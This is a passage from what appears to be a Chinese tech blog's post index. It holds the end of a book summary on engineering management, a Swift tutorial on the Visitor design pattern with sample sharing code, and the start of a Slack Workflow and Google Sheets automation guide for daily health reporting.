visibility委派任務的同時又不喪失品質跟能見度。身為管理者必須做好任務委派,作者認為委派就該設定好期待並相信被指派的隊友有能力執行並是有機會學到東西及保有發生錯誤的空間,管理者另一方面也要保護隊友來自公司的壓力。作者使用以下表格進行記錄:這邊主要紀錄的是對團隊目標重要的任務,日常工作不用紀錄。 Must 寫下任務內容對於是否要將任務委派給隊友,作者會先問這個任務是否真的只有我能做且是屬於管理者該做的事,第二個是這個任務是否是長遠的領導任務;如果都不是則委派隊友執行。對於要委派的任務可評估隊友的經驗、技能,找到合適的人選。 External 關於外部或上面期待的資源 (Feedback/Tool) DelegateDelegate 的部分,我們可以提供一頁的 Paper 闡述我們的期待、簡單的範例。Lesson 6. — Build trust with other teams in the organization團隊與團隊兼協作的默契。作者闡述,組織為了能做更多事會拆分很多小組進行快速決策處理;對於各小組的方向定義其實不難(EX: iOS 就是做 iOS App),難的是要對齊所有小組的目標。小組越多就很難統一所有人的價值觀、期望、優先權、隱含的期望。應該要關注拆分小組的理由跟動機而非產出,否則可能導致矛盾。作者認為要對齊各小組的方向有以下方法: 團隊要有願景,而不是只把任務處理好 管理者需要區分出需要與想要 優化團隊更快的完成正確的事而不是完成更多的事 與其他團隊經理建立良好的溝通作者建議可以在每兩週的管理者會議分享團隊內的狀態、分享自己團隊阻礙與痛苦、接下來會做的主要任務、做的原因 與其他團隊對於優先權意見不同時,可解釋引出其他因素(EX: 這個做了之後,可以降低 CS 客訴、一勞永逸、加乘效果…) 先了解外部團隊需要我們幫忙的地方並且主動密切追蹤 再來提出我們團隊需要外部團隊幫忙的點 列好需要確認的清單,確保在會議上有討論到;如果沒有可以在會後拉相關的經理討論看有沒有其他可能 若不可能則要權衡可能會延遲時間或替代方案,並要讓關係人知道(防止在背後指指點點) 一切都是權衡另外還有 5 個讓隊友能與其他團隊建立密切關係的方法: 簡單的感謝信(感謝協助) 交換團隊工作 內部技術年會,互相分享 一起觀察使用者使用狀況,一起腦力激盪提出優化方向 邀請一位其他 Team 的隊友加入我們的工作Summary 「 imagine that someone from Team A drops a feature that Team B needs, due to an urgent support issue. Without communicating this priority change to Team B, trust will be decreased even if it’s a justified priority change.」「 difference between transactional trust and relational/emotional trust 」 了解交易信任與關係信任。 交易信任 — — 人們是否會履行承諾並完成任務 關係信任 — — 人們是否以建立和保護關係的方式行事Lesson 7. — Optimize for business learning建立商業學習文化而不是建造文化、優化吞吐量、優化的價值。 過早的優化是災難 優化當前問題為重,不要為了優化而優化 即使不是整個專案的負責人,我們仍可就內部運作進行優化,大的成功多半來自小部分的優化累積 身為管理者我們必須展現決策背後的動機 建立商業學習(價值)文化大與建造文化(重點不是建造解法,而是我們試圖解決的商業問題) 優化效率 vs 優化吞吐量問題:優化效率:解決單一 task 的時間優化吞吐量:一個時間範圍內(EX: 一季) 能解決多少 task 知道每個優化的 Impact, 自動化的重要(能一勞永逸節省時間)使用 AARRR 原則為價值優化: Acquisition:如何引入更多使用者 Activation:如何引導使用者完成讓他了解產品價值的任務(EX: 鬧鐘 App,新手引導他完成設立一個鬧鐘) Retention:提升回訪率,回來使用次數 Referrer:讓你的使用者、內容,帶來更多流量 Revenue:數字化評估使用者帶來的收入這五項息息相關,如果因為 Retention 低,可能可以同步調整 Referrer、Acquisition。身為工程管理者,我們要做的不是埋頭寫 Code 或是全心投入在技術;時不時應該要重新對齊產品價值。當產品還在草創初試市場狀態時,應該要以優化效率(快速解決任務釋出)為主,重複著以下流程:功能能提升 Retention -> 釋出功能 -> 學習 -> 調整&重複。評估功能到釋出每個階段可以優化的地方(花太多時間在設計?在討論?)可以投資 20% 時間減少 80% 的開發時間嗎?尤其是令人痛苦的點可以先實驗或發布給最小受眾嗎?避免功能很大包結果最後沒人用。 要做好數據追蹤,才能了解努力的成效 「If you can’t make engineering decisions based on data, then make engineering decisions that result in data.”」雖然相較「這功能不做,公司會倒閉」跟「這功能會導致技術債」,前者當然更可怕;對於技術債,作為管理者如果能爭取更多時間解決我們應該就要做到,我們應該要做好溝通及控管。優化可能不會用到的程式意義不大。 過了草創試驗期,產品模式趨於穩定;這時候比較適合優化的是吞吐量(EX: 給定 X 資源,得到 Y 產出) 給予商業需求可預測性(同上)追蹤團隊產出 (EX: 「01/01/2013–14/01/2013: 2 Large features, 5 Medium features, 4 Small ),經過長期統計;可以藉此提供預測。找出&解決瓶頸: 同步的溝通:例如產品開發流程,需要設計資源;在進到工程開發階段,我們是否已經有明確的規格可執行開發?還是在等待?還是有什麼我們可以先做的? 基礎設施:讓程式碼好擴充、好維護 自動化:使用自動化處理繁瑣的人工操作,節省時間之餘也能避免出錯因為商業策略隨時在改變,我們應該對於優化策略保有更開放彈性的想法,優化的總結還是以商業需求為主。Lesson 8. — Use Inbound Recruiting to attract better talent關於招募。平時就要開始做以下事項,防止突然缺人才要開始,那只能回到傳統找人方式,不停的面試但卻很難找到合適的人。對內: 培養良好的工程文化環境 (EX: Code Review、年會…) 打造吸引人的工作環境 像經營品牌一樣 團隊成員共同努力 加強人與人的連結(EX: 慶生) 先讓成員是對團隊感到驕傲的對外: 內部團隊每週定時對外回答社群問題 (EX: Stackoverflow. . ),加強曝光 在程式中隱藏招募彩蛋(EX: 網頁開發者工具) 與社群分享我們團隊遇到的問題及解決方法(文章 or Talk) 舉辦黑客松 建立 Side Project (EX: 開源專案)分配以上各任務給團隊成員,大家一起為找到好人才貢獻一份心力。Lesson 9. — Build a scalable team打造可擴充的團隊。建立可擴充程式以是我們之前擔任工程是該有的職責,但現在要挑戰的是打造可擴充團隊。不像程式,人有期待、需要、夢想要顧及。作者想要打要一個快樂的工作環境、隊友之間了解任務的期待、新挑戰;而且要能持續保持這份熱情。 對齊目標對齊個人願景與公司目標,如果不了解當前公司的目標很可能造成團隊功能失調。 對齊核心價值算是共識及默契,對於做事方式、什麼重要的默契;團隊核心價值也不是一成不變,要與時俱進。 平衡對於團成員的職能、成長,分配不同的願景、自主權、擁有全;互相協作一起成長(EX: 新人只期待能了解公司做事流程,老鳥要 Code Review、指導);每個人都應該要有成長性。 團體的核心價值觀大於個體可能導致有人離職,也需要時間耐心才可能實現;也有許多挑戰 (EX: 有人離職時會質疑核心價值) 成就感成果要能有成就感,做為管理者不能讓隊友干燒熱情實踐1. 定義團隊願景EX: 作者的團隊是做爬蟲的,他的團隊願景就是「To build the largest, most informative profile-database in the world.」請注意是願景,不是短期目標也不想做的事。2. 定義團隊核心價值在挑選核心價值時可以「這個價值重要到會因為沒有而開除某人嗎?」寫下核心價值、原因。作者提供以下幾個他寫的核心價值:- 不要讓別人(其他團隊)來收拾善後,自己(團隊)的錯誤自己要承擔- 對團隊所有成員保持忠誠尊重有了核心價值在招募或開除更有評斷準則,還有更能有做事的基準。定義成員對團隊對管理者的期待 提供具有生產力且開心的工作環境 知道 Task 的 Why 而不是 How 能夠得到真實的 Feedback 有機會帶領其他成員 能夠分享工作成果定義對團隊成員的期待基本期待: 完成任務 保持學習熱忱 保持分享、教學熱忱 知道做事的底線 sense個人期待: 依照能力設定期待 有能力訓練他人改變 推動改變而不是抱怨我們是團隊,團隊成員有自己的責任跟要交付的成果,同時也要與其他人協作,幫助他人,互相成長;定義期待像是種契約,在原本的同事關係變成管理者關係之下,能更好更有目的的領導;定義這些項目不容易,需要時間、耐心去迭代。 「You can’t empower people by approving their actions. You empower by designing the need for your approval out of the system.」有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Visitor Pattern in iOS (Swift)", "url": "/posts/ba5773a7bfea/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, swift, design-patterns, visitor-pattern, double-dispatch", "date": "2021-06-15 23:58:36 +0800", "snippet": "Visitor Pattern in SwiftDesign Pattern Visitor 的實際應用場景分析Photo by Daniel McCullough前言「Design Pattern」從知道有這個東西到現在也超過 10 年了依然沒辦法有自信的說能完全掌握,一直以來都是矇矇懂懂的,也好幾次從頭到尾把所有模式都看過一遍,但看了沒內化、沒在實務上應用很快就忘了。 我真的廢。內功與...", "content": "Visitor Pattern in SwiftDesign Pattern Visitor 的實際應用場景分析Photo by Daniel McCullough前言「Design Pattern」從知道有這個東西到現在也超過 10 年了依然沒辦法有自信的說能完全掌握,一直以來都是矇矇懂懂的,也好幾次從頭到尾把所有模式都看過一遍,但看了沒內化、沒在實務上應用很快就忘了。 我真的廢。內功與招式曾經看到的一個很好的比喻 ,招式部分如:PHP、Laravel、iOS、Swift、SwiftUI…之類的應用,其實在其中切換學習門檻都不算高;但內功部分如:演算法、資料結構、設計模式…等等都屬於內功;內功與招式之間有著相輔相成的效果;但是招式好學,內功難練;招式厲害的內功不一定厲害,內功厲害的也可以很快學會招式,所以與其說相輔相成不如說內功才是基礎,搭配招式才能所向披靡。找到適合自己的學習方式基於之前的學習經驗,我認為適合我自己的學習 Design Pattern 方式是 — 先精再通;先著重於精通幾個模式,要能內化跟靈活運用,還要培養出嗅覺,能判斷什麼場景適合什麼場景不適合;再一步一步的累積新模式,直到全部掌握;我覺得最好的方式就是多找實務場境,從應用中學習。學習資源推薦兩個免費的學習資源 https://refactoringguru.cn/ :完整介紹所有模式結構、場景、相互關係 https://shirazian.wordpress.com/2016/04/11/design-patterns-in-swift/ :作者以實際開發 iOS 的場景介紹更個模式的應用,本文也會以這個方向撰寫Visitor — Behavioral Patterns第一章紀錄的是 Visitor Pattern,這也是在街聲工作一年挖到的金礦之一,在 StreetVoice App 中有諸多善用 Visitor 解決架構問題的地方;我也在這段經歷之中席的了 Visitor 的原理精髓;所以第一章就來寫它!Visitor 是什麼首先請先了解 Visitor 是什麼?想要解決什麼問題?組成結構是什麼?圖片取自 refactoringguru詳細內容這邊不再重複贅述,請先直接參考 refactoringguru 對於 Visitor 的講解 。iOS 實務場景(一)假設今天我們有以下幾個 Model:UserModel、SongModel、PlaylistModel 這三個 Model,現在我們要實作分享功能,可以分享到:Facebook、Line、Instagram,這三個平台;每個 Model 需要呈現的分享訊息皆為不同、每個平台需要的資料也各有不同:組合場景如上圖,第一個表格顯示各 Model 的客製化內容、第二個表格顯示各分享平台需要的資料。 尤其 Instagram 在分享 Playlist 時要多張圖片,跟其他分享要的 source 不一樣。定義 Model首先把各個 Model 有哪些 Property 定義完成:// Modelstruct UserModel { let id: String let name: String let profileImageURLString: String}struct SongModel { let id: String let name: String let user: UserModel let coverImageURLString: String}struct PlaylistModel { let id: String let name: String let user: UserModel let songs: [SongModel] let coverImageURLString: String}// Datalet user = UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\")let song = SongModel(id: \"1\", name: \"Wake me up\", user: user, coverImageURLString: \"https://zhgchg.li/cover/1.png\")let playlist = PlaylistModel(id: \"1\", name: \"Avicii Tribute Concert\", user: user, songs: [ song, SongModel(id: \"2\", name: \"Waiting for love\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/3.png\"), SongModel(id: \"3\", name: \"Lonely Together\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/1.png\"), SongModel(id: \"4\", name: \"Heaven\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/4.png\"), SongModel(id: \"5\", name: \"S.O.S\", user: UserModel(id: \"1\", name: \"Avicii\", profileImageURLString: \"https://zhgchg.li/profile/1.png\"), coverImageURLString: \"https://zhgchg.li/cover/5.png\")], coverImageURLString: \"https://zhgchg.li/playlist/1.png\")什麼都沒想的做法完全不考慮架構,先上一個什麼都沒想的最髒做法。周星馳 — 食神class ShareManager { private let title: String private let urlString: String private let imageURLStrings: [String] init(user: UserModel) { self.title = \"Hi 跟你分享一位很讚的藝人\\(user.name)。\" self.urlString = \"https://zhgchg.li/user/\\(user.id)\" self.imageURLStrings = [user.profileImageURLString] } init(song: SongModel) { self.title = \"Hi 與你分享剛剛聽到一首很讚的歌,\\(song.user.name) 的 \\(song.name)。\" self.urlString = \"https://zhgchg.li/user/\\(song.user.id)/song/\\(song.id)\" self.imageURLStrings = [song.coverImageURLString] } init(playlist: PlaylistModel) { self.title = \"Hi 這個歌單我聽個不停 \\(playlist.name)。\" self.urlString = \"https://zhgchg.li/user/\\(playlist.user.id)/playlist/\\(playlist.id)\" self.imageURLStrings = playlist.songs.map({ $0.coverImageURLString }) } func shareToFacebook() { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![\\(self.title)](\\(String(describing: self.imageURLStrings.first))](\\(self.urlString))\") } func shareToInstagram() { // call Instagram share sdk... print(\"Share to Instagram...\") print(self.imageURLStrings.joined(separator: \",\")) } func shareToLine() { // call Line share sdk... print(\"Share to Line...\") print(\"[\\(self.title)](\\(self.urlString))\") }}沒啥好說的,就是 0 架構全攪和在一起,如果今天要新加一個分享平台、更改某個平台的分享資訊、增加一個可分享的 Model 都要動到 ShareManager;另外 imageURLStrings 的設計因是考量到 Instagram 在分享歌單時需要圖片組資料所以才宣告成陣列,這有點倒因為果變成照需求去設計架構,其他不需要圖片組的類型也遭到污染。優化一下稍微分離一下邏輯。protocol Shareable { func getShareText() -> String func getShareURLString() -> String func getShareImageURLStrings() -> [String]}extension UserModel: Shareable { func getShareText() -> String { return \"Hi 跟你分享一位很讚的藝人\\(self.name)。\" } func getShareURLString() -> String { return \"https://zhgchg.li/user/\\(self.id)\" } func getShareImageURLStrings() -> [String] { return [self.profileImageURLString] }}extension SongModel: Shareable { func getShareText() -> String { return \"Hi 與你分享剛剛聽到一首很讚的歌,\\(self.user.name) 的 \\(self.name)。\" } func getShareURLString() -> String { return \"https://zhgchg.li/user/\\(self.user.id)/song/\\(self.id)\" } func getShareImageURLStrings() -> [String] { return [self.coverImageURLString] }}extension PlaylistModel: Shareable { func getShareText() -> String { return \"Hi 這個歌單我聽個不停 \\(self.name)。\" } func getShareURLString() -> String { return \"https://zhgchg.li/user/\\(self.user.id)/playlist/\\(self.id)\" } func getShareImageURLStrings() -> [String] { return [self.coverImageURLString] }}protocol ShareManagerProtocol { var model: Shareable { get } init(model: Shareable) func share()}class FacebookShare: ShareManagerProtocol { let model: Shareable required init(model: Shareable) { self.model = model } func share() { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![\\(model.getShareText())](\\(String(describing: model.getShareImageURLStrings().first))](\\(model.getShareURLString())\") }}class InstagramShare: ShareManagerProtocol { let model: Shareable required init(model: Shareable) { self.model = model } func share() { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.getShareImageURLStrings().joined(separator: \",\")) }}class LineShare: ShareManagerProtocol { let model: Shareable required init(model: Shareable) { self.model = model } func share() { // call Line share sdk... print(\"Share to Line...\") print(\"[\\(model.getShareText())](\\(model.getShareURLString())\") }}我們抽離出一個 CanShare Protocol,凡是 Model 有遵循這個協議都能支援分享;分享的部分也抽離出 ShareManagerProtocol,有新的分享只要實現協議內容即可、要修改刪除也都不會影響其他 ShareManager。但 getShareImageURLStrings 依然詭異,另外假設今天新增的分享平台需求的 Model 資料天壤之別,例如微信分享還需要播放次數、創建日期…等資訊,只有他要,這時候就會開始變得混亂。Visitor使用 Visitor Pattern 的解法。// Visitor Versionprotocol Shareable { func accept(visitor: SharePolicy)}extension UserModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}extension SongModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}extension PlaylistModel: Shareable { func accept(visitor: SharePolicy) { visitor.visit(model: self) }}protocol SharePolicy { func visit(model: UserModel) func visit(model: SongModel) func visit(model: PlaylistModel)}class ShareToFacebookVisitor: SharePolicy { func visit(model: UserModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi 跟你分享一位很讚的藝人\\(model.name)。](\\(model.profileImageURLString)](https://zhgchg.li/user/\\(model.id)\") } func visit(model: SongModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi 與你分享剛剛聽到一首很讚的歌,\\(model.user.name) 的 \\(model.name),他被播方式。](\\(model.coverImageURLString))](https://zhgchg.li/user/\\(model.user.id)/song/\\(model.id)\") } func visit(model: PlaylistModel) { // call Facebook share sdk... print(\"Share to Facebook...\") print(\"[![Hi 這個歌單我聽個不停 \\(model.name)。](\\(model.coverImageURLString))](https://zhgchg.li/user/\\(model.user.id)/playlist/\\(model.id)\") }}class ShareToLineVisitor: SharePolicy { func visit(model: UserModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi 跟你分享一位很讚的藝人\\(model.name)。](https://zhgchg.li/user/\\(model.id)\") } func visit(model: SongModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi 與你分享剛剛聽到一首很讚的歌,\\(model.user.name) 的 \\(model.name),他被播方式。]](https://zhgchg.li/user/\\(model.user.id)/song/\\(model.id)\") } func visit(model: PlaylistModel) { // call Line share sdk... print(\"Share to Line...\") print(\"[Hi 這個歌單我聽個不停 \\(model.name)。](https://zhgchg.li/user/\\(model.user.id)/playlist/\\(model.id)\") }}class ShareToInstagramVisitor: SharePolicy { func visit(model: UserModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.profileImageURLString) } func visit(model: SongModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.coverImageURLString) } func visit(model: PlaylistModel) { // call Instagram share sdk... print(\"Share to Instagram...\") print(model.songs.map({ $0.coverImageURLString }).joined(separator: \",\")) }}// Use caselet shareToInstagramVisitor = ShareToInstagramVisitor()user.accept(visitor: shareToInstagramVisitor)playlist.accept(visitor: shareToInstagramVisitor)我們逐行來看做了什麼: 首先我們創建了一個 Shareable 的 Protocol,其目的只是方便我們管理 Model 支援分享 Visitor 有統一的接口 (不定義也行)。 UserModel/SongModel/PlaylistModel 實現 Shareable func accept(visitor: SharePolicy) ,之後如果有新增支援分享的 Model 也只需實現協議 定義出 SharePolicy 列出所支援的 Model(must be concrete type) 或許你會想為何不定義成 visit(model: Shareable) 如果是這樣就重蹈上一版的問題了 各個 Share 方法實現 SharePolicy,各自依照 source 去組合需要的資源 假設今天多一個微信分享,他要的資料比較特別(播放次數、創建日期),也不會影響現有程式碼,因為他能從 concrete model 拿到他自己需要的資訊。達成低耦合、高聚合的程式開發目標。以上是經典的 Visitor Double Dispatch 實現,但我們日常開發上比較少會遇到這種狀況,一般常見的狀況可能只會有一個 Visitor,但我覺得也很適合使用這套模式組合,例如今天有一個 SaveToCoreData 的需求,我們也可以直接定義 accept(visitor: SaveToCoreDataVisitor) ,不多宣告出 Policy Protocol,也是個很好的使用架構。protocol Saveable { func accept(visitor: SaveToCoreDataVisitor)}class SaveToCoreDataVisitor { func visit(model: UserModel) { // map UserModel to coredata } func visit(model: SongModel) { // map SongModel to coredata } func visit(model: PlaylistModel) { // map PlaylistModel to coredata }}其他應用:Save、Like、tableview/collectionview cellforrow….原則最後講一下一些共通原則 Code 是給人讀的,切勿 Over Designed 統一很重要,同樣的場境同個 Codebase 應該使用同個架構方法 如果範圍是可控的或不可能出現其他狀況,這時候如果還繼續往下拆分就可以認為是 Over Designed 多應用、少發明;Design Pattern 已經在軟體設計領域好幾十年,他所考量到的場景一定比我們創造一個新的架構還來的完善 看不懂 Design Pattern 可以學,但如果是自己創造的架構就比較難說服別人學,因為學了可能也只能用在這個 Case 上,他就不是一個 Common sense 程式碼重複不代表不好,如果一昧追求封裝可能導致 Over Designed;一樣回到前面幾點,程式是給人讀的,所以只要是好讀加上低耦合高聚合都是好的 Code 勿魔改 Pattern,人家設計一定有他的道理,如果亂魔改可能導致某些場景出現問題 只要開始繞路就會越繞越遠,程式會越來越髒 inspired by @saiday===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Slack 打造全自動 WFH 員工健康狀況回報系統", "url": "/posts/d61062833c1a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, automation, google-sheets, app-script, slack", "date": "2021-06-14 00:58:21 +0800", "snippet": "Slack 打造全自動 WFH 員工健康狀況回報系統玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率Photo by Stephen Phillips — Hostreviews.co.uk前言因應全面居家工作,公司關心所有成員的健康,每日均需回報身體有無狀況並由 People Operations 統一紀錄管理。我們的 優化前...", "content": "Slack 打造全自動 WFH 員工健康狀況回報系統玩轉 Slack Workflow 搭配 Google Sheet with App Script 增加工作效率Photo by Stephen Phillips — Hostreviews.co.uk前言因應全面居家工作,公司關心所有成員的健康,每日均需回報身體有無狀況並由 People Operations 統一紀錄管理。我們的 優化前 的 Flow [自動化] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息(優化前唯一自動化的地方) 員工點擊連結打開 Google Form 填寫健康問題 資料存回 Google Sheet 回應紀錄 [人工] People Operations 於每日接近下班時比對名單篩出忘記填寫的員工 [人工] 於 Slack Channel 發送填寫提醒訊息 & 一個一個 tag 忘記填寫的人 以上是敝司的健康回報追蹤流程,每間公司依照規模及運作方式一定有所不同,本文僅以此做為優化範例,學習 Slack Workflow 使用、基本 App Script 撰寫,實際還是要 by case 實作。問題點 需跳出 Slack Context 使用瀏覽器打開 Google Form 網頁才能填寫,尤其在手機上更不方便 Google Form 僅能自動帶入 Email 訊息,無法自動加上填寫人名稱、部門資訊 每日人工比對、人工 tag 非常花費人力時間解決方案做過蠻多自動化的小東西,這個流程資料源固定(員工名單)、條件單純、動作很例行;一看就覺得很適合自動化,一開始沒做是因為找不到好的填寫方式(實際是找不到有趣可研究的點);所以也就放著沒管,直到看到 海總理的這則 PO 文 才發現 Slack Workflow 不只是可以做定時傳訊息,還有 Form 表單的功能:圖片取自: 海總理這下手就開始癢了啊!!如果能搭配 Slack Workflow From 加上傳訊息的自動化,豈不是能解決上面提到的 所有痛點 ,原理可行!於是開始著手實作。優化後 的 Flow首先上一下優化後的流程及結果。 [自動化] Slack Channel 每日早上 10 點定時發送提醒大家健康表單的訊息 從 Google Form 或 Slack Workflow Form 填寫健康問題 資料均存回 Google Sheet 回應紀錄 People Operations 於每日接近下班時點擊「產生未填寫名單」按鈕 [自動化] 使用 App Script 比對員工名單、填寫名單篩出未填寫名單 [自動化] 點擊「產生&發送訊息」自動發送未填寫提醒&自動 tag 對象 收工!成效(個人預估) 填寫時間每位員工每日能減少約 30 秒 People Operations 處理這件事每日能減少約 20 ~ 30 分鐘運作原理透過撰寫 App Script 來管理 Sheet。 將外部輸入的資料都存放在 Responses Sheet 撰寫 App Script Function 將 Responses 的資料依照填寫日期分發到各日期的 Sheet,若無則建立新的日期 Sheet,Sheet 名稱直接使用日期,方便辨識取用 取得當前日期的 Sheet 與員工名單比對,產生未填寫名單 Sheet 的資料 讀取未填寫名單 Sheet 組合出訊息並發送到指定 Slack Channel 串接 Slack APP API 可自動讀取指定 Channel 匯入員工名單 訊息內容使用 Slack UID Tag &lt;@UID&gt; 就能標記未填寫的成員。身份識別串起 Google From 與 Slack 的身份識別資訊是 Email,所以請確保公司同仁都是使用公司 Email 填寫 Google Form、Slack 個人資訊部分也都有填寫公司 Email。開始動手做問題、優化方式、成果講完後,接下來來到實作環節;讓我們一起一步步完成這個自動化 Case。 篇幅有點長,可依照略過自己已了解的區塊,或直接從完成結果建立副本,邊看邊改邊學。完成結果表單: https://forms.gle/aqGDCELpAiMFFoyDA完成結果 Google Sheet:建立健康回報 Google Form 表單 & 連結回覆到 Google Sheet步驟省略,有問題請直接 Google,這邊假定你已經建立&連結好了健康回報表單。表單要記得勾選「Collect emails」:收集填寫者的 Email 以利之後比對名單用。怎麼連結回覆到 Google Sheet?於表單的上方切換到「回覆」點擊「Google Sheet Icon」即可。更改連結的 Sheet 名稱:這邊建議將連結的 Sheet 名稱由 Form Responses 1 改為 Responses 方便使用。建立 Slack Workflow Form 填寫入口傳統的 Google From 填寫入口有了之後,我們先來新增 Slack 填寫方式。於 Slack 任意對話視窗中找到「 輸入匡 下方 」的「藍色閃電⚡️」點擊下去在選單底下「Search shortcuts」中輸入「workflow」選擇「Open Workflow Builder」這邊會列出你建立的或參與的 Workflow,點選右上角「Create」建立新 Workflow第一步,輸入 workflow 名稱(Workflow Builder 介面顯示用)Workflow 觸發方式,選擇「Shortcut」目前一共有 5 種 slack workflow 觸發時間點: Shortcut:手動觸發「藍色閃電⚡️」選項,會出現在 workflow 選單中,點擊即可開始 workflow。 New channel member:當 Target Channel 有新成員加入時…. (EX: 歡迎訊息) Emoji reactions:當有人對 Target Channel 中的訊息按下指定表情符號時…(或許可拿來做重要訊息已讀請按 XXX Emoji,以此知道誰已讀了?) Scheduled date & time:排程,指定時間到時…(EX: 定時發提醒回報訊息) Webhook:外部 Webhook 觸發,進階功能,可與第三方或自己架 API 串起內部工作流程。這邊我們選擇「Shortcut」建立手動觸發選項。選擇這個 Workflow Shortcut 要加入在「哪一個 Channel 輸入匡」之下及輸入「要顯示的名稱」 *一個 workflow shortcut 僅能加入在一個 channel 中Shortcut 建立完成!開始建立 workflow 步驟,點擊「Add Step」加入步驟選擇「Send a form」StepTitle :輸入表單標題Add a question :輸入第一個問題的題目(可自行在標題標注問題編號 ex: 1.,2.,3….)Choose a question type : Short answer:單行輸入匡 Long answer:多行輸入匡 Select from a list:單選列表 Select a person:選擇一位同個 Workspace 內的成員 Select a channel or DM:選擇一位同個 Workspace 內的成員 或 Group DM 或 Channel「Select from a list」為例: Add list item:可新增一個選項 Default selection:選擇預設選項 Make theis required:將此問題設為必填 Add Question:可新增更多問題 右方「↓」「⬆」可調整順序、「✎」可展開編輯 可選擇是否要將表單填寫內容回傳至 Channel 或 某人也可以選擇傳送回覆到…: Person who clicked ….:點擊這個表單的人(形同填寫的人) Channel where workflow started:這個 workflow 添加到的 Channel表單完成後點擊「Save」儲存步驟。 *這邊我們取消勾選將表單填寫內容回傳,因為想要在後面步驟自行客製化訊息內容。將 Slack workflow from 與 Google Sheet 串接如果還沒有將 Google Sheet App 加入到 Slack 可先 點此安裝 APP 。繼上一步後,點擊「Add Step」加入新步驟,我們選擇 Google Sheets for Workflow Builder 的「Add a spreadsheet row」步驟。 首先要完成 Google 帳號的授權,點擊「Connect account」 Select a spreadsheet:選擇目標回應的 Google Sheet,請選擇一開始建立的 Google Form 之 Google Sheet Sheet:同上 Column name:第一個欲填入值的 Column,這邊先選問題ㄧ點擊右下角「Insert Variable」選擇「Response to 問題一…」,插入之後可由左下角「Add Column」加入其他欄位,以此類推完成問題二、問題三….填寫人的 Email,可選擇「Person who submitted form」在點擊插入的變數,選擇「Email」即可自動帶入填寫人的 Email。 Mention (default):tag 該 User,Raw data 是 &lt;@User ID&gt; Name:User 名稱 Email:User EmailTimestamp 欄位比較 tricky 等下再補充設定方法,先點「Save」儲存後回到頁面右上角按「Publish」發布 Shortcut。看到發布成功訊息後,可以回到 Slack Channel 試試看。這時候點閃電之後會出現剛剛建立的 Workflow form,可以點來填寫玩玩。左:電腦 / 右:手機版我們可以填寫資訊「Submit」測試看看是否正常。成功!但可以看到 Timestamp 欄位為空,下一步我們來解決這個問題。Slack workflow from 取得填寫時間Slack workflow 沒有 current timestamp 的 global variable 可用,至少目前還沒有,只找到一篇 reddit 上的許願文章 。一開始異想天開在 Column Value 輸入 =NOW() 但這樣所有紀錄的時間永遠是當前時間,完全錯誤。同樣拜 reddit 那篇文章 大神網友提供的 tricky 方法,可以建一個乾淨的 Timestamp Sheet 裡面放一個列資料、欄位 =NOW() 先用 Update 迫使欄位變為最新,在 Select 得到當前 Timestamp。如上圖結構,點此 查看範例 。 Row: 類似 ID 的用處,直接設「1」,之後設定 Select & Update 會要用到,告知資料列。 Timestamp:設定值 =NOW() 讓他永遠顯示當前時間 Value:用以觸發 Timestamp 欄位更新時間,內容隨意,這邊是把填寫人的 Email 塞進來放,反正只要能觸發更新就好。 可在 Sheet 上按右鍵「Hide Sheet」隱藏此 Sheet,因為沒有要讓外部使用。回到 Slack Workflow Builder 編輯剛剛 建立的 workflow form。點擊「Add Step」新增步驟:往下滑選擇「Update a spreadsheet row」「Select a spreadsheet」選擇剛剛的 Sheet,「Sheet」選擇新建立的「Timestamp」Sheet。「Choose a column to search」選擇「Row」,Define a cell value to find 輸入「1」。「Update these columns」「Column name」選擇「Value」、「Value」點選「Insert variable」->「Person who submitted」->「選擇 Email」。點「Save」完成!現在已經完成觸發 Sheet 中的 timestamp 更新了,再來是讀取出來用。回到編輯頁後再點一次「Add Step」加入新步驟,這次選「Select a spreadsheet row」我們要讀取 Timestamp 出來。Search 部分同「Update a spreadsheet row」,按「Save」。Save 完回到步驟列表頁,我們可以把滑鼠移到步驟上用拖曳更改順序。將順序改「Update a spreadsheet row」->「Select a spreadsheet」->「Add a spreadsheet row」。意即:Update 觸發 timestamp 更新 -> 讀取 Timestamp -> 在新增 Row 時拿來用。在「Add a spreadsheet row」點「Edit」編輯:拉到最下面按左下角「Add Column」在點右下角「Insert a variable」,找到「Select a spreadsheet」Section 中的「Timestamp」變數,注入進去。按「Save」儲存步驟後回到列表頁,右上角點「Publish Change」發布更改。這時候我們再測試一次 workflow shortcut 看看 timestamp 有沒有正常寫入。成功!Slack workflow form 增加填寫回執同 Google Form 填寫回執,Slack workflow form 也可以。在編輯步驟頁我們可以再加入一個步驟,點擊「Add Step」。這次選擇「Send a message」「Send this message to」選擇「Person who submitted form」訊息內容依序輸入題目名稱、「Insert a variable」選擇「Response to 題目 XXX」,也可在最後插入「Timestamp」,按「Save」儲存步驟後再按「Publish Changes」即可! 另外也可使用「Send a message」將填寫結果傳送到特定 Channel 或 DM。成功!Slack workflow form 的設定大概到此結束,其他玩法可以自由搭配發揮。Google Sheet with App Script!接下我們需要撰寫 App Script 來處理填寫資料。首先在 Google Sheet 上方工具欄選擇「Tools」->「Script 